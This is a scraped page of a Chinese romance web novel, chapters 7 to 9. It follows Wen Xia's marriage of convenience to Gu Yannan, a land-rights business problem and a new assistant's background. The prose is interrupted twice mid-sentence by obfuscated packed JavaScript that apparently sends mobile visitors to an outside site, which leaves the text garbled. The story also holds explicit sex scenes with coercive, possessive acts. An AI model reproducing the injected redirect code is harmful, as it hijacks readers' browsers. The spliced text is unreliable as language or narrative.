问出的那刻,顾衍南就后悔了,他并不想知道她和上一位情人结束的具体时间点,她不说,他没有逼她回答,只是眉眼覆盖一层阴鸷的寒霜,用力攥着她的手腕,欺身压了下来。
结束后,温夏累的没力气开车,顾衍南“好心”让她搭便车,绕路送她去温氏。
九点二十,距离开会还有半个多小时,温夏上车后,拿出平板看开会资料。
胳膊很酸,腿也酸,哪里都酸。
顾衍南比她大几个月,今年二十八,马上就要迈入三十大关,却在那事上一点也没有奔三的人该有的沉稳。
一大把年纪的,比十年前还要放荡恣意。
“太太,在哪儿停车?”司机的声音从驾驶座传来。
温夏抬眼,看到温氏的办公大楼,这么快就到了。
“前面那个门——”
话没说完,一道清瘦挺拔的身影闯入视线,温夏改口:“就在这停吧。”
司机稍顿:“好。”
温夏迅速将平板塞进包里,车子停稳后,跟司机说了句“不用下来”,拉开车门。
高跟鞋落地的那刻,下意识“嘶”了声,温夏疼得表情狰狞。
车门关上。
周之恒悄悄从后视镜往后看——
他看到自上车以来就低头看平板的顾总在太太下车后抬眼,眼神很淡地往太太的方向看去。
随即,那双漆黑的眼睛骤然冷下来,周之恒背脊一僵,默默跟着看了过去。
一向沉稳优雅的太太踩着近十厘米的细高跟,快步去追一个男人,看口型是在喊那人,男人回过头,看到太太对她笑了下,太太也对他笑了笑,眼神柔和,不同于平日里虚假客套的笑。
然后两人并肩往办公大楼走。
阳光刺眼。
周之恒默默收回视线,老老实实坐在副驾驶,目不斜视,屏住呼吸,生怕因喘气声过大成为承受怒火的工具人。
车内的气压低得有些骇人。
司机无措地看周之恒一眼,后者给他一个别吭声的眼神。
不知道过了多久,后排传来一道平静到没有任何起伏的命令——
“开车。”
7. 第 7 章
祁源听到温夏喊他,回过头:“你今天不是要开会?怎么现在才来?”
“有事耽搁了,”温夏看了眼腕表,撇撇嘴,“还有二十分钟,我又没迟到。”
祁源看她这幅孩子气的表情,淡淡笑开,转身时,余光瞥见停在路边的黑色宾利,眼睛微眯:“顾衍南送你来的?”
“嗯,我车子坏了。”温夏随口扯了个谎。
祁源刚要问送去修了吗,看到她颈侧白皙皮肤上的的红痕,目光顿了顿。
温夏注意到他的视线,有些尴尬地揽过长发,挡住脖子。
顾衍南很喜欢亲吻,不止是接吻,他喜欢在她身上烙满吻痕和咬痕,她皮肤白,很容易留下深深浅浅的痕迹,还不容易消。
一开始,温夏还会阻止,但她越阻止他越要亲,从亲吻到啃咬含噬,像是在和她较劲一样,后来温夏就随他去了。
今天时间太短,她没来得及用遮瑕遮住,温夏准备等会儿到办公室系条丝巾。
沉默地走进电梯,祁源主动打破:“我下午去看你大哥,你去吗?”
温夏睫毛轻颤,垂眼,轻声回:“你去吧,我还有事,我不去了。”
“有什么话要我带给他吗?”
温夏抿紧唇,轻轻摇头:“没有。”
祁源见她垂着脑袋,低叹一声,拍了拍她的肩膀,“夏夏,你不要自责,这不是你的错。”
“阿砚也不希望见你愧疚。”
温夏盯着电梯显示屏不断上升的数字,无声地扯了下嘴角。
是她的错。
不然大哥不会经历牢狱之灾,哪怕她把温氏救了回来,也无法抵消大哥平白无故受的罪。
祁源知道温夏在这事上有多自责,将所有的错误都揽在她身上。
明明她也是受害者。
为此不惜嫁给顾衍南——那位风流浪荡,隔三差五就要和女明星上热搜的贵公子,根本不是良配。
他劝过温夏,但她认定的事谁也无法改变,祁源无法,只能眼睁睁见她将自己推进深渊。
今天顾衍南送她来公司,她脖子上的吻痕说明两人之间或许关系并没有他以为的那么差。
阿砚把他当朋友,他把阿砚的妹妹也当妹妹看待,如果顾衍南能好好对夏夏,自然最好不过。
“录播的课看完没有?”祁源找了个新话题,冲散沉闷的气氛。
温夏调整好情绪:“差不多了,还有两节。”
“等你看完,我再给你发新的。”
“好。”
电梯抵达50楼,祁源走出去,温夏坐到51楼,去休息室系了条蓝色丝巾,对着镜子调整好,拿着文件去会议室。
比起学生时期悠闲的生活,管理公司累的多,上午开完会,下午去面试总裁办招聘的助理。
这次招聘要录取十三个人,能通过三面的,每一位的学历背景和个人能力都极为优秀,温夏和林若雯,还有另一个秘书苏珊一起面试,根据面试表现和团队需求,确定最终人选。
“小帅哥给我刷掉没有?”温夏从办公室出来,总裁办的几个助理围着林若雯和苏珊追问录取名单。
苏珊:“没有,小帅哥的表现可好了,就连温副总都多看了他几眼。”
“我就说男色无敌,连温副总都忍不住多看几眼。”
“温副总看他是看中他反应能力,看脸的话,谁能有顾大公子长得带劲?!”
林若雯提醒:“别说了,广告部的那几个前两天刚被抓了个现行。”
“行吧,接着聊小帅哥吧,你们看他手上戴的表没有?要七位数呢!”
“不会是假货吧?”
“绝对不是,温总也有一块,之前戴过,跟那块一模一样,温总不至于戴A货吧。”
“啧,这么有钱,来当什么助理啊……”
这个点是下午茶时间,聚在一起闲聊无可厚非,温夏轻轻关上门,十分钟后按下内线电话,喊林若雯和苏珊进来,安排新员工的培养工作。
录取名单中,他们口中的小帅哥林沨和另一个女生徐媛给温夏的印象最深刻,这两个人她亲自带,剩下的分配给其他员工,恰好一人一个。
将这两人的资料又从头到尾看了一遍,看到林沨时,注意到他填写的家庭住址,温夏目光一顿——林沨也住在明湖公馆。
顾老爷子出手,自然是大手笔,明湖公馆是北城地价最贵的富人区,开盘时一栋房子要卖到7.46亿,现在只会更贵。
除了价格,这里的房子有价无市,早在开盘就被北城那些世家一家几套分完了。
温夏在大脑中搜索,她不记得林家有林沨这个人,难道是私生子或者刚认祖归宗的?
这个问题一闪而过,温夏接着看资料,没想到傍晚回家的路上遇见了林沨。
“温副总。”一辆白色Benz在温夏身边缓缓停下。
温夏一怔,循声看去,车窗落下,林沨坐在后车座,冲她浅浅一笑。
她上午坐顾衍南的车去的,刚才祁源送她来,外来的车进小区需要登记,手续很麻烦,温夏便说自己走回去,十分钟路程,就当锻炼身体。
祁源也觉得她该多锻炼身体,就把她放了下来。
林沨有点男生女相,笑起来很甜。
遇到老板,他下车,主动打招呼:“好巧,没想到您也住在这里,您刚搬过来吗?之前从没见过您。”
温夏笑:“之前我们又不认识,你见到我也认不出我。”
林沨眸底迅速划过一抹失落,笑着摇头:“我会记得。”
温夏不想和员工私下接触过多,结束话题:“录取邮件你收到了吧?”
“嗯。”
“明天是你第一天上班,早点回去休息吧。”
“要我送您一程吗?”林沨看着她。
温夏摆摆手:“不用,坐了一整天的办公室,走路就当是锻炼身体。”
“您说得对,”林沨露出森白的牙齿,笑道,“我也该多走走,最近很久没去健身了,我跟您一起走回——”
“吱嘎”一声,黑色宾利急刹车,在两人面前停下,林沨的话被打断,皱眉,循声看去。
后排车窗缓缓落下,露出一张他极为熟悉的完美皮囊,林沨抿了抿唇,不自觉攥紧拳头。
顾衍南轻飘飘扫他一眼,视线落到温夏身上:“在路边杵着做什么?”
温夏被急刹车吓了一跳,转头看过去。
顾衍南穿着一件白衬衫,应该是从公司出来的,领口的扣子一丝不苟地系着,如果是从聚会回来,他不会规矩地扣着扣子,袖口也会被卷起来。
身上带着一种工作一整天的倦怠感,嗓音略哑:“上车。”
话里有着不容置哙的强势。
虽然刚拿锻炼身体的借口拒绝林沨,但温夏不会在外人面前不给他面子,扭头看向林沨:“我先回去了,明天见。”
“……嗯,再见,温副总。”
司机为温夏拉开车门。
温夏上车。
车门关上,清淡柠檬香中夹杂着一丝很淡的薄荷味在车内慢慢扩散,顾衍南低眸看平板,折射的光倒映他眸中冷意。
温夏没注意,拿出手机让人去查林沨的背景。
别是来偷温氏商业机密的。
回到家,张婶已经做好饭,依旧和昨天一样,边收拾厨房边开始她的特务工作。
温夏给顾衍南盛了碗汤,今天阮眠给她打电话时,顾爷爷在旁边,和她聊了几句。凭心而论,顾爷爷对她挺不错的,虽然性格强势,但是真心把她当成孙媳看,承诺的帮助温氏起死回生和大哥的事都做到了,只是再怎么样,孙媳也不能越过亲孙子,这是人之常情。
估计张婶跟他汇报昨天吃晚饭时饭桌上的沉默,顾爷爷聊了几句有的没的,切入正题:“小夏,感情是要培养的,有些事,你要主动一点。”
温夏对这个观点并不认同,她觉得两个人之间的感情是命中注定的,要么一开始就有,要么这辈子也不会有。
顾衍南对她就是后者,不管再怎么培养,也只是培养她一个人的感情。
心底不赞同,温夏口中回道:“我明白的,爷爷。”
于是,她工作之余,在想该在饭桌上说点什么,以免顾爷爷再说她不作为。
温夏将汤递给顾衍南。
顾衍南掀眸,看她一眼,接过碗。
“我有点事想问你。”温夏看着他。
“说。”一如既往的冷淡傲慢。
温夏没在意他的恶劣态度,将困扰她许久的海南度假村的项目简略地说给他听,态度诚恳地问:“你觉得这个项目能做吗?”
她已经想好以后饭桌上该聊什么,聊私事会侵犯隐私,不小心就踩到他的雷点,不如聊公事,他如果愿意点拨她两句,比她看多少课都有用。
顾衍南能成为北城商业圈中赫赫有名的大佬,绝对不是只靠高超的投胎技术。
温夏曾听人说过顾衍南的创业史。
顾老爷子不是什么慈眉善目的长辈,而是狼性文化的忠实信徒,顾衍南高二去美国念书,十八岁生日一过,顾老爷子毫无预兆地断了他的卡,并把房子车子都收了回来,让他自生自灭。
顾衍南当天就把腕表折价当了,拿着七位数的创业资金,一年后靠着一支对冲基金在华尔街一战成名,把老爷子送给他的成年礼物赎了回来,并在顾老爷子七十大寿送给他一盏价值2.66亿的清乾隆御制洋彩镂空转心瓶。
后来还是顾老爷子怕他在华尔街不愿意回来,三番四次催促他回国接手家业。
那群女生说起时,无一不用崇拜的语气,温夏对这一点无可指摘,虽然他性格倨傲,但确实有傲慢的底气。
那个项目温夏总觉得有些问题,但看不出哪里,她说给顾衍南听,希望能从他这里得到启发。
许是抱着副求学的姿态,她期盼地看着他的眼睛,杏眸圆润温柔,给人一种被她全心全意倾听的感觉。
顾衍南仍是那张没什么表情的脸,只是眸中的寒霜散了些,不冷不热地说:“那块地的产权不清晰。”
“怎么会?市场部评估过,没有什么问题啊。”
“知道换地权益书吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520454|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>温夏一怔,“……听说过,但不怎么了解。”
顾衍南给她一个“你怎么什么都不知道”的眼神,随后用最简略的语言告诉她换地权益书是什么。
简言之,就是上世纪九十年代房地产泡沫破灭后,大量土地权属不清,政府为盘活闲置土地,推出换地权益书制度,拥有换地权益书的权益人具有优先兑换权和项目优先合作权。
温夏恍然明白过来:“那这个项目不能做了吗?”
顾衍南淡淡看她:“我能做,你不一定。”
“……”
温夏换上笑脸:“如果是你,你会怎么做?”
边给他剥了个虾,放到他的餐盘里。
顾衍南冷哼,将剥好的虾送入口中,咽下去后,喝了口汤,才缓缓开口。
温夏停下筷子,专注地听他讲解决方案。
在厨房里边擦桌子边时刻注意餐厅情况的张婶见状,露出欣慰的笑容。
得知董事长看中陷入债务危机的温家大小姐,让少爷娶她为妻,顾家做工多年的佣人皆是不解,在他们眼里,少爷自是千好万好,各种意义上的天之骄子,对待他们这些下人的态度也很温和,从不发火,虽说有点花心,但哪个男人没点风流韵事。
温家大小姐他们自然听说过,北城最优秀的名媛,不过温家都快要破产了,娶她无疑是自找麻烦。
但董事长的话在顾家就相当于圣旨,倒不是少爷没法反抗,而是他从小是董事长养大的,董事长近年来身体越来越差,没法受刺激,少爷便都顺着他。
原本还对董事长的决定不解,但当少夫人第一次来顾家老宅吃饭,众人瞬间明白董事长的用意——
很简单,少夫人和少爷足够般配。
长相是老一辈人会喜欢的古典温柔类型,一言一行落落大方进退有度,刻进骨子里的教养让她时刻保持端庄优雅,让人挑不出半点错。
不管是真的还是装的,光从外表看,她是能配得上少爷的。
张婶也是看着顾衍南长大的一员,自然希望少爷和少夫人能修成正果,昨晚两人吃饭时一句话也不说,她还发愁该怎么办,没想到今天就聊的这么火热。
张婶将少夫人用热切期盼的眼神看着少爷的这幕收入眼底,准备等会儿就把这个好消息告诉董事长。
顾衍南在做生意上目光毒辣,指出问题一针见血,就是态度不怎么好,他吃她问,吃完也不管她问没问完就上楼,温夏追着他追到卧室:“可是持有人没有这么多钱跟我抢,我为什么还要花很多钱从他手里买优先购买权?”
顾衍南不紧不慢地解衬衫扣子,用一种在看傻瓜的眼神看她:“他没钱,你怎么知道其他人没有?不解决这个问题,等你把所有的审核手续都批下来,前期的工作全都安排好,他找有钱的人合作,你做的所有工作都是在为别人铺路。”
温夏抬手摸摸鼻子,“噢,知道了。”
她真的不是做生意的料,她宁愿每天抱着画板和画笔颜料一起生活,也不想在商场上玩尔虞我诈。
更何况,她根本玩不过这些人。
顾衍南虽然态度不怎么样,但温夏听得出他没有藏私,诚恳地道:“谢谢你,你先去洗澡吧,我去——”
“一起洗。”顾衍南没给她把话说完的机会,扯掉衬衫,攥着她的手腕走进浴室。
温夏刚从他这偷到师,不好意思拒绝给学费,便跟着他来到淋浴下。
然而,顾衍南却像洁癖发作一样,一遍遍地在她身上涂满沐浴乳,不耐地揉搓清洗,好似她身上沾上什么脏东西。
刚才不还好好的?
阴晴不定,莫名其妙。
“疼……”
温夏轻嘶,她的脖子都被他搓红了。
顾衍南冷声:“忍着。”
继续搓洗她的皮肤,将那缕廉价的薄荷香水味洗掉。
是从那个戴眼镜的男的身上沾的,还是那小白脸身上的?
又洗了一遍,顾衍南意识到这样无法洗干净,指尖捏着她的下巴,力道不轻不重:“转过去。”
温夏也不想看他这张臭脸,细白手腕撑着冰凉的瓷砖,后背贴上坚硬的、滚烫的胸膛。
一冷一热,双重的刺激叠加。
下巴又被扣住,他迫使她回过头,一寸寸撬开她的唇齿。
浴室被雾气氤氲的潮湿闷热,窒息感越来越强。
……
许久,顾衍南抬手,关掉莲蓬头。
温夏不理解,为什么这个时候要把水龙头关掉,不该用水把她脸上的乳白色清洗干净吗?他弄的她满脸都是。
顾衍南喘息声很重,慢条斯理地涂抹,脸上,下巴,脖颈,锁骨……
每个部位都有,从上到下,温夏身体忍不住发颤,有种每一寸皮肤都在被野兽标记的错觉。
“终于没有了。”他趴在她颈侧,轻嗅。
温夏眼眶湿红,整个人湿漉漉的,嗓音带着哽咽的哭腔:“没有什么?”
顾衍南将黏湿的长指塞进她嘴里,示意她舔干净。
声音很淡,眼神冰冷:“我讨厌的味道。”
8. 第 8 章
大概是这句话让温夏当年思考许久,她几乎立刻想起十年前那天晚上。
也是在浴室里,他同今夜一样,一遍遍清洗揉搓她的身体。
温夏的生日在寒冷的一月底,恰是寒假,她和顾衍南的那段炮友关系从她成年那日延续到寒假结束。
四十七天,不知道对其他炮友关系的人来说,这个时间算长还是短,但四十多天之于漫长的十年,只是沧海一粟,努力回忆,也只能记得清几个印象深刻的片段。
那晚便是,因为那是他们第一次争吵,也是唯一一次。
对炮友来说,争吵是不该有的,所以在结束后的很长一段时间里,温夏总是会去想那晚顾衍南到底为什么生气。
温夏本科是在清大念的,放寒假,社团社长组织聚会。
这种活动,温夏一向不爱参加,但社长连打三个电话要她一定得去,温夏应下,准备十点准时离开,她今晚约了顾衍南。
寒假快结束了,他马上就要回美国了,距离温夏事先规划好的时间点越来越近,想到再也睡不到顾衍南,心里还有点遗憾。
毕竟他真的很好用。
聚会迟迟不结束,温夏眼看就要十点,主动说有事要先走,社长倒是没拦她,温夏离开,她和顾衍南厮混的酒店就在附近,差不多十分钟的路程。
“温夏。”走出包厢,有人追上她。
温夏回头,看到一个眼熟却叫不出名字的男生跟着她,冲他点了下头。
“你怎么回家?我送你吧。”
“谢谢,不用了。”
男生没说什么,一直跟着她走出会所。
温夏默声,朝酒店的方向走。
一直走到酒店楼下,男生见她要进去,忍不住说:“温夏,我有话对你说。”
温夏低头看了眼腕表,抬眸:“什么?”
男生喝了不少酒,盯着温夏看了几秒,似是下定什么决心,突然抓起她的手腕,赴死般的表情:“我听说你没有男朋友,你能不能考虑考虑我?”
温夏皱眉,抽出手,熟练拒绝,等男生失落离开,她转身,撞上顾衍南似笑非笑的眼睛。
心脏猛地一跳。
他在这里看了多久的戏?
没道德。
偷听别人说话。
两人一前一后走进电梯。
电梯数字不断上升,轿厢沉默。
突然,顾衍南问:“很多人追?”
温夏微怔,偏眸。
他身形高大,黑色大衣衬得他气场冷沉,身上携带着隆冬深夜风尘仆仆的寒霜。
“没你多。”她回。
顾衍南没什么意义地嗤了声。
之后一路无言。
刷卡,进了套房,顾衍南将她抵在门上,亲了几下,突然抱着她去了浴室。
洗澡时,他用力搓洗她的手腕,温夏直喊疼,他目光很淡地落在她身上:“太难闻了。”
“这个味道,我很讨厌。”
温夏以为他说的是她身上的烟味和酒味,是有点难闻,劣质的烟酒味道刺鼻,他也抽烟,烟味却很好闻,苦味混着少许辣味,给人一种莫名的平静。
任由他给自己洗澡,洗到第三遍,他将她抵在墙上,迟迟不给她,每次快要到时,他就停下,接着给她搓洗身体。
一连几次控.高,温夏气的去抓他的脖子:“顾衍南!我要生气了!”
顾衍南充耳未闻,细致地将沐浴乳泡泡涂满她全身。
温夏崩溃大喊:“快点给我!不然我以后不和你做了!”
话落,有一瞬的死寂。
只剩下淋浴哗哗的水声。
顾衍南停下动作,低眸看她。
温夏抿着唇,和他对视。
无声的僵持。
几秒后,他抬起她的腿,温夏的后背被他抵在冰凉的墙上。
他照她说的做,温夏满足几次,后知后觉有点心虚,她并不想提前结束,还有十几天呢。
和他断掉后,她能再找到一个和她这么契合的人吗?
胡思乱想一会儿,温夏决定说两句软话,以防他生气提前结束她的快乐,酝酿好台词,正要开口,他突然掐着她的腰,将她按进浴缸里,后背被撞得一疼。
一下又一下。
像在受什么撞击类的酷刑。
“有新的人选了?”他在她耳朵上印下一个冰凉的吻,声音低哑冷沉。
温夏咬着唇,没吭声。
“什么样的?”他在她颈侧轻嗅,伸出舌尖舔了舔,像吸血鬼在寻找下口的最佳位置。
“……”
温夏身体不自觉僵了下,想后退,却退无可退。她心脏狂跳不已,不知道是因为害怕还是其他原因,努力维持镇定:“跟你无关。”
“跟我无关……”他重复这句话,点点头,“是跟我无关,但作为你的第一个男人,我总要关心一下。”
冰凉长指掐着她的下巴,指尖用力捏着,温夏感觉到下巴疼的快要被他捏得骨裂,他突然用力往前,朝她耳朵里吹了口气,嗓音性感又危险:“你确定他能像我一样让你这么爽?”
“他能满足你吗?”
“温大小姐,你并没有看上去那么清心寡欲,满足你并不是件容易的事——”
“啪”的一声,温夏扇了他一巴掌。
她是来享受的,不是来受气的。
力气不大,但这绝对是顾大公子第一次被人扇巴掌,光看他那张阴鸷暗沉的脸就能看得出。
温夏推开他,想走,却被他用皮带捆住手腕。
似是要证实他刚才的话,他一遍遍满足她。
用他的舌头。
那天过后,温夏以为他们就这样结束,他却像什么都没发生一样,照常约她。
温夏纠结一番,还是决定按照原本的计划,没有提早结束这段原始的、刺激的、荒唐的、不会有结果的混乱关系。
和顾衍南断掉后,抱着画板画画时,她偶尔会去想他那天生气的原因,结论一遍遍被她推翻,后来随着时间推移,便不再去想这个没有任何意义的问题。
“你讨厌什么味道?”将思绪从往事抽回,温夏仰头问。
现在的她没法随心所欲甩他巴掌,弄清他的喜好,尽量少惹他生气。
他讨厌的,她以后不沾就是了。
黑眸在她身上停留几秒,顾衍南没理她,拍了下她的屁股,嗓音低哑:“搂紧。”
温夏身体紧绷,夹住他劲瘦的腰。
顾衍南拖着她,将她放到她今天早上刚待过的洗手台上。
温夏被他转过去,看着镜子,他站在她身后。
——顾衍南的身材很好,宽厚的肩膀衬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520455|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得她纤细清瘦,从镜子里看,刚好能将她围住,肩背肌肉结实,很有力量感。
轻而易举就能拖住她,很长时间。
温夏突然想起总裁办讨论的话题,男色无敌,她是个庸俗至极的人,喜欢好看的事物,但林沨那种偏可爱的长相完全不在她的审美点上。
不知是不是顾衍南太早出现在她的生活中,以至于她对男色的定义全都以他为模板标杆。
他是满分答卷,和他稍有偏差,都会被扣分。
如果,如果,这段婚姻能维持久一点也不错,他满足她对婚姻所有的期待,除了爱情和忠诚。
好在对她来说,爱情并不是婚姻的必需品。
至于忠诚,至少目前而言,他承诺她肉.体上的忠诚。
她虽然搞了多年的艺术,但本质上是个彻头彻尾的现实主义者,最讨厌庸人自扰。
顾太太的头衔能让她在生意场上省不少力,他能教她怎么做生意,能满足她生理需求——这十年,她遇到过不少人,不乏世俗意义上优秀成功的男人,也有放荡不羁潇洒幽默的类型,她尝试过接触,却总觉得差了点什么。
现在想想,大概是因为没有他当初给她的,那股只受欲望支配的强烈原始冲动。
也许是年纪大了,没法像十八岁时随心所欲,也许是他给她的起点太高,有他做标杆,其他人总觉得相形见绌。
虽然理智上不愿如此,但温夏不得不承认,不管是十年前还是现在,他都能轻易勾起她的欲望。
顾衍南已经进去,从后面圈住她,骨骼分明的长指抬起她的下巴,从镜子里看她。
温夏也从镜子里看他,对上那双漆黑的、充满欲念、却又冷静的眼睛。
两双黑色眼瞳,静静对视。
不知道过了多久,他缓缓开口,声音说不出的平静:“那晚之前,你多久没找过男人了?”
温夏的心脏骤然紧缩,胸腔被酸涩的液体溢满,她闭上眼,轻声回:“很久。”
很久。
能有多久。
再久也不会蠢到十年之久。
顾衍南眉眼覆盖一层阴鸷的寒霜,嗓音没有半点温度,命令的语气:“睁眼。”
温夏眼皮一颤,缓缓睁开眼。
他不紧不慢,声音平静得没有任何起伏:“看清楚,是我在操.你。”
言词直白到粗鄙。
温夏葱白手指紧紧攥住,死死咬着唇,眼睁睁地看着自己一次又一次被他占有。
不同于昨晚和今早的浅尝辄止,这一夜很疯狂,结束后温夏已经累的连睁眼的力气都没有,顾衍南抱她清理身体,将她放到床上,盖好被子,拿着烟盒和打火机,推开阳台的门。
春夜朦胧,谜一般的寂静。
青白烟雾模糊面容,顾衍南夹着烟,指间猩红。
他很少抽烟,多年前有过烟瘾,早已戒掉。
只有心情烦躁时才会抽。
一连抽了三根,靠在栏杆上,待冷风将烟味吹散,他抬腿,走回卧室。
温夏已经睡了。
借着微弱的光线,顾衍南站在床边,看她蜷缩着身体,面向阳台的方向,脸颊瓷白恬静,卷翘睫毛浅浅成扇。
身上冷意褪去,他走到另一侧床边,掀开被子上床。
背对着她。
像她那样。
9. 第 9 章
第二天早上,温夏在顾衍南怀里醒来。
她习以为常,他们做完后总是抱在一起睡觉,昨晚她记得迷迷糊糊中顾衍南给她洗澡,然后把她塞进被窝里。
估计他收拾完就上来抱着她睡了。
遮光窗帘没有关上,只有薄薄的纬纱挡着,室内光线昏暗,温夏想去拿手机,在他怀里动了动。
刚抬起胳膊,就看到顾衍南缓缓睁开眼,黑眸中有几分惺忪的睡意,神情不大清明。
四目相对,温夏好似在他眼里看到了……意外?
还没来得及细思,就听到男人沙哑的声音:“别挤我。”
温夏微怔,低头,看到自己枕着他的胳膊,下意识往床边挪了挪,然而右边是空的,身体就要掉下去——
顾衍南瞳孔骤然一缩,眼疾手快地抓住她的手腕,将她一把扯了回来。
又回到他的怀里。
心脏因为差点摔下去,剧烈地跳动着。
平复半分钟,温夏说了句“谢谢”,坐直身体,看清楚床上的格局——
一米八的床,一半空着,他睡到她这边,而她很可怜地被挤的只能贴着床边睡。
怪不得会枕他的胳膊,不紧紧被他抱在怀里,她就要掉了。
求生本能。
顾衍南自然也意识到这点,面色阴沉。
温夏看着他面无表情地脸,给他找台阶,扯开话题:“你这两天都没去晨跑啊。”
顾衍南淡睨她,嗓音沉哑:“昨晚的运动量足够了。”
“……”
昨晚做了三次还是四次,按照他的算,淋浴下一次,洗手台上一次,落地窗前一次,最后抱她洗澡的时候好像又来了一次。
温夏太累,不记得到底有没有第四次。
三四个小时是有的,运动量足够了。
温夏一噎,不知道该说什么。
顾衍南看她这幅无话可说的模样,面色缓了缓:“去洗漱。”
温夏担心昨天早上的情景再现,摇摇头:“你先,你弄完我再去。”
因为身上只随意披了件睡袍,温夏拉着被子,那点心思全都写在脸上。
顾衍南上下打量她,挑了下眉:“你当我是永动机?”
“……”
温夏下床。
两人并排洗漱。
收拾完,还有时间,温夏去厨房做早餐,打开冰箱,里面有做三明治的材料。
别的她要么不会做,要么时间不够,三明治十分钟搞定。
温夏拿出吐司和鸡蛋,在操作台上处理食材,餐厅传来一道淡淡的声音:“不用打包,我在家吃。”
“……”
谁说要做给你吃了吗?
上次是因为咬他舌头,这次……温夏想了想,他昨天指点她项目,帮她解决一个大麻烦。
于是又拿了一份。
鸡蛋、生菜、午餐肉,五分钟处理好,温夏先打包祁源的那份三明治。
“不是说不用打包?”顾衍南靠在门边,语气不耐。
温夏头也没回:“这份是给我学长的。”
“……”
学长。
上次也是三份。
一份他的,一份她吃,还有一份,就是给她那位学长的。
顾衍南的脸色瞬间冷下去,嘲讽的话到了嘴边——
她爱做给谁吃给谁吃。
难吃死了,鸡蛋煎的一塌糊涂。
目光落在白瓷盘里的煎蛋上,鸡蛋上黑乎乎的一块。
顾衍南冷脸,转身。
温夏低头打包,没注意他脸色变换。
将餐盘端出去,才发现顾衍南正在换鞋,她一怔:“你不吃了吗?”
“鸡蛋煎成那样,你自己留着吃吧。”撂下这句话,他起身,推门离开。
“砰”的一声。
温夏听着摔门的回响,原地站了一会儿,将餐盘放上餐桌,垂眼看着煎蛋。
最上面的那个有一点点的焦,因为煎这个的时候,她在想他刚醒时眼神中为什么会闪过那抹意外。
嫌弃她做的饭,为什么还说要吃?
她做了他又不吃,出尔反尔。
因为他认为不管他怎么对她发脾气,见面时她仍会主动找话题和他搭话,当作什么事也没有发生,所以才肆无忌惮地对她发脾气吗?
反正她会说服自己。
事实也是如此,她希望让这段关系稳定和谐,总会妥协的。
温夏轻扯了下嘴角。
静坐几秒钟,她拿起筷子,夹起那个失败的煎蛋,扔进垃圾桶里。
-
到了公司,温夏去祁源办公室,把三明治给他。
祁源笑着接过,调侃道:“夏夏,咱们下次能换个别的吗?”
“意大利肉酱面可以吗?”
“可以。”
温夏冲他微微一笑:“好的,下次还是三明治。”
祁源:“……”
祁源只是随口一说,有的吃就不错了,他这些年一个人住,早些年间工作忙,多睡一会儿可比吃早餐重要。后来渐渐习惯不吃早餐,上个月查出慢性胃炎,温夏特别重视,隔三差五就会给他带早餐。
“你在家吃过了?”祁源看她只带了一份,随口问了句。
“嗯。”
“和顾衍南一起吃的?”
祁源问这话是想由这句话切入新的话题,问问她和顾衍南关系有没有改善。
因为一般温夏会两份一起打包,在他办公室里吃。
温夏摇摇头:“没有,自己吃的。”
祁源见她垂下眼,情绪不大对,眼神暗了暗,没继续问,开了个玩笑:“怎么?怕我念叨你?”
温夏笑了笑:“怎么会。”
祁源吃三明治,温夏去接咖啡,等他吃完,温夏把换地权益书的事告诉他。
“你怎么知道的?”祁源诧异地看着她。
温夏:“顾衍南告诉我的。”
祁源微愣,说道:“我去调查。”
回办公室,新入职的助理都到了,见她过来,齐声喊了句温副总。
温夏冲他们微笑:“没那么多规矩,你们先熟悉一下,苏珊和林若雯来我办公室。”
将今天要做的工作安排好,温夏去查换地权益书相关的政策和案例,十点半左右,梁从音给她打了个视频电话。
梁从音是她为数不多的朋友,她妈是原配,她妈妈去世后她爹娶了后妈,她爹偏心弟弟妹妹,让她受了不少委屈。梁从音想得开,大学时期开始创业,用她便宜爹的人脉和资源开娱乐公司,做的风生水起。
温家出事,几家珠宝公司想在舆论上黑温氏,都被她帮忙挡回去,还反咬对方一口。
昨天温夏给梁从音发短信,让她帮忙查林沨的背景,这五年多温夏都在伦敦生活,对北城豪门圈的事不怎么清楚,自然没有梁从音这个混娱乐圈的知道的多。
梁从音打视频来就是说这件事:“首先做个免责声明,我也不确定是真是假,都是听人说的哈。”
温夏靠在椅背,用眼神示意她继续。
“林家那几个公子哥大小姐你都还记得吧?”
“记得。”
“长的呢?”
温夏想了想,评价:“一言难尽。”
何止是一言难尽,也不知道是不是祖坟出了问题,林先生其貌不扬,但两任妻子都是貌美如花的美人,奈何林先生基因太强大,几个孩子没一个能看的。
唯一一个小公子长得还行,但个头太矮,也不知道有没有一米七。
“这个林沨你觉得长得怎么样?”梁从音接着问。
温夏:“帅。”
梁从音纠正:“不只是帅,他这种长相在我们圈内就是标准的偶像脸,男生女相,是最容易吸女友粉的。”
“所以呢?”
“所以,当然不止普通女生喜欢,有钱人家的千金大小姐也喜欢啊。林家一直都是这第二任林太太说的算,林沨是私生子,她当年不认林沨,林沨就跟他妈在外边房子住的,也不知道这林沨怎么这么幸运,没随林先生,长着一张好脸,被齐家二小姐一眼就看中了,非要闹着嫁给他。齐家有红色背景,林家想着攀上齐家这门亲家,林太太才去请他回来。”
“去年接回来的,据说林沨不肯回来,林太太就从他亲妈那里下手,他亲妈坑了林太太明湖公馆的一套房子和九个亿,林沨才愿意认祖归宗。”
温夏皱着眉:“我看他资料上写的未婚。”
